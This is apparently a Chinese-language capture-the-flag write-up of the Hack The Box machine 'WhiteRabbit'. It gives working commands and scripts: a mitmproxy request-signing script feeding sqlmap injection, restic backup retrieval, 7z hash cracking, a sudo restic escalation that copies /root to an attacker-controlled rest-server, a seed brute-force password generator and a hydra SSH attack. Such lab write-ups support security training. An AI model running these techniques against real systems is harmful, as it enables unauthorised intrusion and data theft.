HTB-WhiteRabbit

HTB-WhiteRabbit

信息收集

首先先将whiterabbit.htb添加到/etc/hosts中

然后利用rustscan进行扫一波

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
rustscan -a 10.10.11.63 --range 1-65535 -- -sV
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.11.63:22
Open 10.10.11.63:80
Open 10.10.11.63:2222

[~] Starting Nmap
[>] The Nmap command to be run is nmap -sV -vvv -p 22,80,2222 10.10.11.63

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-06 06:06 UTC
NSE: Loaded 46 scripts for scanning.
Initiating Ping Scan at 06:06
Scanning 10.10.11.63 [4 ports]
Stats: 0:00:01 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 100.00% done; ETC: 06:06 (0:00:00 remaining)
Completed Ping Scan at 06:06, 0.36s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 06:06
Completed Parallel DNS resolution of 1 host. at 06:06, 13.00s elapsed
DNS resolution of 1 IPs took 13.01s. Mode: Async [#: 1, OK: 0, NX: 0, DR: 1, SF: 0, TR: 3, CN: 0]
Initiating SYN Stealth Scan at 06:06
Scanning 10.10.11.63 [3 ports]
Discovered open port 2222/tcp on 10.10.11.63
Discovered open port 22/tcp on 10.10.11.63
Discovered open port 80/tcp on 10.10.11.63
Completed SYN Stealth Scan at 06:06, 3.01s elapsed (3 total ports)
Initiating Service scan at 06:06
Scanning 3 services on 10.10.11.63
Completed Service scan at 06:06, 6.92s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.11.63.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 06:06
Completed NSE at 06:06, 4.49s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 06:06
Completed NSE at 06:06, 1.85s elapsed
Nmap scan report for 10.10.11.63
Host is up, received echo-reply ttl 63 (0.33s latency).
Scanned at 2025-04-06 06:06:19 UTC for 17s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 62 Caddy httpd
2222/tcp open ssh syn-ack ttl 62 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.91 seconds
Raw packets sent: 10 (416B) | Rcvd: 5 (212B)

开放22 80和 2222端口

利用dirsearch扫后台也没什么东西,下面利用ffuf尝试爆破一下子域名。

1
ffuf -w subdomains-top1million-110000.txt -u http://whiterabbit.htb -H "Host:FUZZ.whiterabbit.htb" -mc 200,302 -fs 0

image-20250407000104188

接着扫新域名的目录信息。

image-20250407000042989

再status目录下扫到temp

里面又存放着其他的子域名。

image-20250407164515349

加到/etc/hosts中

再wikijs中再次发现一个新的子域名,接着添加。

image-20250407165124861

sql注入

这个地方有一个json的文件,下载下来。

让ai大概分析一下,其中比较重要的点就是它首先会检查x-gophish-signature 也即是签名的正确性,这个签名是根据secret和请求体进行加密的,当请求体发生变化的时候,签名就会生效,需要新的签名。

image-20250407191447386

image-20250407191507124

image-20250407191244407

image-20250407191310430

中间代理签名

这个email存在sql注入点,而secret我们是知道的,所以利用sqlmap进行跑的时候需要不断更新签名的内容。

利用mitmproxy 中间人代理的一个工具,劫持每一个从sqlmap发出去的包,然后经过签名之后再发送出去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# gophish_sign.py
from mitmproxy import http
import json
import hmac
import hashlib

SECRET = b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"

def request(flow: http.HTTPFlow):
if flow.request.path.startswith("/webhook/") and flow.request.method == "POST":
try:
raw_data = flow.request.get_content()
signature = hmac.new(SECRET, raw_data, hashlib.sha256).hexdigest()
flow.request.headers["x-gophish-signature"] = f"sha256={signature}"
except Exception as e:
flow.request.headers["x-gophish-signature"] = "error-signing"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sqlmap -u "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d" \
--data='{"campaign_id":1,"email":"*","message":"Clicked Link"}' \
--headers="Content-Type: application/json" \
--proxy="http://127.0.0.1:9999" \
--random-agent --batch \
--technique=BE --time-sec=3 --dbs

sqlmap -u "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d" \
--data='{"campaign_id":1,"email":"*","message":"Clicked Link"}' \
--headers="Content-Type: application/json" \
--proxy="http://127.0.0.1:9999" \
--random-agent --batch \
--technique=BE --time-sec=3 -D phishing --tables

mitmproxy -s gophish_sign.py --mode regular --listen-port 9999

image-20250407200836484

再temp数据库下发现日志的信息。

image-20250407201548868

1
2
3
4
5
6
7
8
9
10
+---------------------+------------------------------------------------------------------------------+----+
| date | command | id |
+---------------------+------------------------------------------------------------------------------+----+
| 2024-08-30 10:44:01 | uname -a | 1 |
| 2024-08-30 11:58:05 | restic init --repo rest:http://75951e6ff.whiterabbit.htb | 2 |
| 2024-08-30 11:58:36 | echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd | 3 |
| 2024-08-30 11:59:02 | rm -rf .bash_history | 4 |
| 2024-08-30 11:59:47 | #thatwasclose | 5 |
| 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd | 6 |
+---------------------+------------------------------------------------------------------------------+----+

restic

主要是这个restic.

Restic 是一个免费的,快速,开源,安全和跨平台的备份程序,使用 go 编程语言编写,使用 AES-256 对数据进行加密,并使用 Poly1305-AES 对数据进行身份验证。 Restic 是一个快速且安全的数据文件备份程序。

我们知道了密码,就能从远程仓库上下载文件。

1
2
3
echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd
restic -r rest:http://75951e6ff.whiterabbit.htb --password-file .restic_passwd snapshots //查看有哪些快照
restic -r rest:http://75951e6ff.whiterabbit.htb --password-file .restic_passwd ls 272cacd5 //列出快照里面的文件

image-20250407211316575

image-20250407211545323

将这个7z文件给down下来。

1
2
3
4
5
6
restic -r rest:http://75951e6ff.whiterabbit.htb \
--password-file .restic_passwd \
restore 272cacd5 \
--target /root/HTB/HTB-WhiteRabbit \
--include /dev/shm/bob/ssh/bob.7z
// --target 指定的是存放在本机的路径地址

image-20250407211841882

直接解的话是不行的,得需要密码。

image-20250407212013291

首先先将7z文件变成可以爆破的形式:

1
2
7z2john bob.7z > bob.hash
john --format=7z bob.hash --wordlist=/usr/share/wordlists/rockyou.txt

image-20250407215343018

能爆破出密码。

是一个bob的公私钥对。

image-20250407215701323

直接无密码登录进去。

image-20250407220102901

image-20250407220732106

这个提权手法在https://gtfobins.github.io/gtfobins/restic/#sudo能找到对应的。

restic提权

利用思路就是将对应主机上高权限才能访问的文件给备份到kali上。

1
2
3
4
5
6
7
8
kali: 
./rest-server --no-auth --listen :8000 --path /root/HTB/HTB-WhiteRabbit
受控主机:
sudo restic -r rest:http://10.10.14.24:8000 init
echo "fsrm123" > /tmp/pass.txt
sudo restic -r rest:http://10.10.14.24:8000 --password-file /tmp/pass.txt backup /root


image-20250407225249871

1
2
expoexport RESTIC_PASSWORD=fsrm123
restic -r /root/HTB/HTB-WhiteRabbit snapshots

image-20250407225300699

1
restic -r /root/HTB/HTB-WhiteRabbit restore 52214260 --target /root/HTB/HTB-WhiteRabbit  //还原文件

image-20250407225644698

又是一个公私钥对,接着登录上去。

image-20250407225848235

到home目录下发现还有一个用户,neo

image-20250407230051302

在opt目录下发现neo的相关密码信息,但是是个二进制文件。

neo密码分析

image-20250407230709316

下载下来分析一波,内置有python环境,开一个8081端口。

image-20250407231122748

F5进入到main函数中。

image-20250407232720319

image-20250407234305964

image-20250407234315379

让AI分析了一下,大概意思就是基于当前的时间戳生成一个随机的密码,密码长度是20位。

时间的话就是上面sql跑出来的 2024-08-30 14:40:42

image-20250407234640506

从当前时间戳开始,爆破1000毫秒以内的生成的密码。

注意区别是c语言下的seed,而不是python下的seed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import ctypes
import sys

# 根据平台加载适当的C库。
if sys.platform.startswith('linux'):
libc = ctypes.CDLL("libc.so.6") # Linux平台
elif sys.platform == "darwin":
libc = ctypes.CDLL("libc.dylib") # macOS平台
elif sys.platform.startswith('win'):
libc = ctypes.CDLL("msvcrt.dll") # Windows平台
else:
raise Exception("不支持的操作系统平台")

def generate_password(seed):
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" # 密码字符集
# 使用C库的srand()设置种子,限制seed为32位整数
libc.srand(seed & 0xFFFFFFFF) # 保证种子值在32位范围内
password = []
for _ in range(20):
# 调用C库的rand()生成随机数
r = libc.rand()
index = r % len(charset) # 保证生成的索引在字符集长度范围内(62个字符)
password.append(charset[index]) # 添加字符到密码列表
print("".join(password)) # 打印生成的密码

def main():
# 2024-08-30 14:40:42 UTC的Unix时间戳
base_time_sec = 1725028842
# 遍历该秒内的1000毫秒
for ms in range(1000):
seed = base_time_sec * 1000 + ms # 生成种子,包含毫秒部分
generate_password(seed) # 生成并打印密码

if __name__ == '__main__':
main() # 运行主函数

1
hydra -l neo -P password.txt ssh://10.10.11.63 -t 4 -vV

root提权

爆破出来密码之后,sudo -l 发现能直接root

image-20250408002017440


HTB-WhiteRabbit
http://example.com/2025/04/06/HTB-WhiteRabbit/
作者
FSRM
发布于
2025年4月6日
更新于
2025年4月8日
许可协议